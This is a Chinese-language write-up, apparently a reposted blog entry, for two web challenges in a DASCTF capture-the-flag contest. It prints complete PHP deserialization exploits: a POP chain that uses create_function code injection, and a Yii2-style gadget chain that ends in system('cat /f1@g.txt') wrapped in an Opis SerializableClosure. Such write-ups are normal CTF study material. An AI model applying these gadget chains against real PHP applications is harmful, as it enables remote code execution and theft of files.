当前位置:   article > 正文

DASCTF Sept X 浙江工业大学秋季挑战赛 web_浙江工业大学秋季挑战赛 xxc

浙江工业大学秋季挑战赛 xxc

hellounser

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
    
    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    }
    
    
}


$a = new A;
$b = new B;
$b->func = "create_function";
$b->arg = "}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";
#$b->arg = "}var_dump(get_defined_vars());//";
$a->var = $b;
print(serialize($a));
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

Pop链构造没啥好说的,后面代码注入,就是之前题改的
createfunction()代码注入

xxc

https://blog.csdn.net/weixin_39924779/article/details/113330709 的Yii2(2.0.39.3)反序列化链挺像的应该就是魔改了下。
先放exp,不过我只能打出个phpinfo,卡在这不知道该干嘛了,链子的最后call_user_func那第二个参数被写死了。有没有师傅教教该咋整,网上还没找到wp。
在这里插入图片描述

已经有师傅给了方法了,修改了下原来的exp补在本文最后部分

Exp:

<?php 
namespace Method\Func{
	class GenerateFile{
    public $flag = "myTest";
    protected $buffer;
    public function __construct(){
                $this->source->generate = "phpinfo";
            }
	}

	class GetDefault{
		private $source;
		public function __construct(){
                    $this->source = new GenerateFile();
                                    }
	}

    class GetFile{
            private $flag;
            private $files = [];
            public $value;
            		public function __construct(){
                    $this->flag = new GetDefault();
                    $this->value = "test";
                                    }
        }
    }

namespace Faker{
	use Method\Func\GetFile;
	class MyGenerator{
	        protected $defaultValue;
	        public function __construct(){
	                $this->defaultValue = new GetFile();
	                        }    
	                    }
	                }

namespace Control\State{
	use Faker\MyGenerator;
	    class StopHook{
	        protected $processes;
	        public function __construct(){
	                $this->processes = [new MyGenerator()];
	                        }    
	                    }
	                }
namespace{
	echo base64_encode(serialize(new Control\State\StopHook()));
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51

在这里插入图片描述

下面是pop链分析:
在这里插入图片描述

Index.php找到序列化入口,寻找__construct或者__destruct方法,\class\Control\State\StopHook.php,存在可被利用的__destruct方法
在这里插入图片描述

$process->stop()通常可触发__call\class\Faker\MyGenerator.php 存在__call,其内部还有echo可以去触发__toString
在这里插入图片描述

可能是构造序列化链子里有私有变量,导致__get会和__call一并被触发。变量defaultValue的值也就能到未定义的变量defaultCall那了(值传递是猜的具体也没搞明白咋过去的,本地试了下__get__call去掉哪个都不行)
再下面的路就很清晰了

class\Method\Func\GetFile.php
__isset(),当对不可访问属性调用isset(),这里刚好有一个
在这里插入图片描述

class\Method\Func\GetDefault.php $s($length)这种形式的可以触发__invoke
在这里插入图片描述

class\Method\Func\GenerateFile.php
在这里插入图片描述

到达函数执行点,很可惜这里第二个参数被写死了。不知道做出来的大佬是咋整的,还是说我挖错链子了?

Exp:

<?php

namespace Method\Func{
	use Opis\Closure\SerializableClosure;
	class GenerateFile{
    public $flag = "myTest";
    protected $buffer;
    public function __construct(){
                $this->source->generate = new SerializableClosure(function ($arg) {
	            return system("cat /f1@g.txt");
	        });
            }
	}

	class GetDefault{
		private $source;
		public function __construct(){
                    $this->source = new GenerateFile();
                                    }
	}

    class GetFile{
            private $flag;
            private $files = [];
            public $value;
            		public function __construct(){
                    $this->flag = new GetDefault();
                    $this->value = "test";
                                    }
        }
    }

namespace Faker{
	use Method\Func\GetFile;
	class MyGenerator{
	        protected $defaultValue;
	        public function __construct(){
	                $this->defaultValue = new GetFile();
	                        }    
	                    }
	                }

namespace Control\State{
	use Faker\MyGenerator;
	    class StopHook{
	        protected $processes;
	        public function __construct(){
	                $this->processes = [new MyGenerator()];
	                        }    
	                    }
	                }
namespace{
	require "./vendor/autoload.php";
	echo base64_encode(serialize(new Control\State\StopHook()));
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56

如果报错的话composer require opis/closure 先引入该组件,在题目源码文件夹里的话require "closure/autoload.php"; 直接这样就行 和index.php放在同一级
在这里插入图片描述

tp6.0以及Laravel8的相关漏洞利用里面都有用到这个类
https://blog.csdn.net/weixin_34211615/article/details/115086543
https://www.bbsmax.com/A/o75N6KWK5W/

call_user_func那去触发SerializableClosure这个方法里面的__invoke,配合closure闭包类对象,其中封装的匿名函数功能是自定义的。
在这里插入图片描述

但闭包是不可序列化的,尝试序列化闭包将导致异常,克服这个问题的解决方案是将闭包包装成一个Opis\Closure\SerializableClosure 对象,然后使用标准的serialize.在这里插入图片描述

https://opis.io/closure/3.x/serialize.html
在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/人工智能uu/article/detail/900754
推荐阅读
相关标签
  

闽ICP备14008679号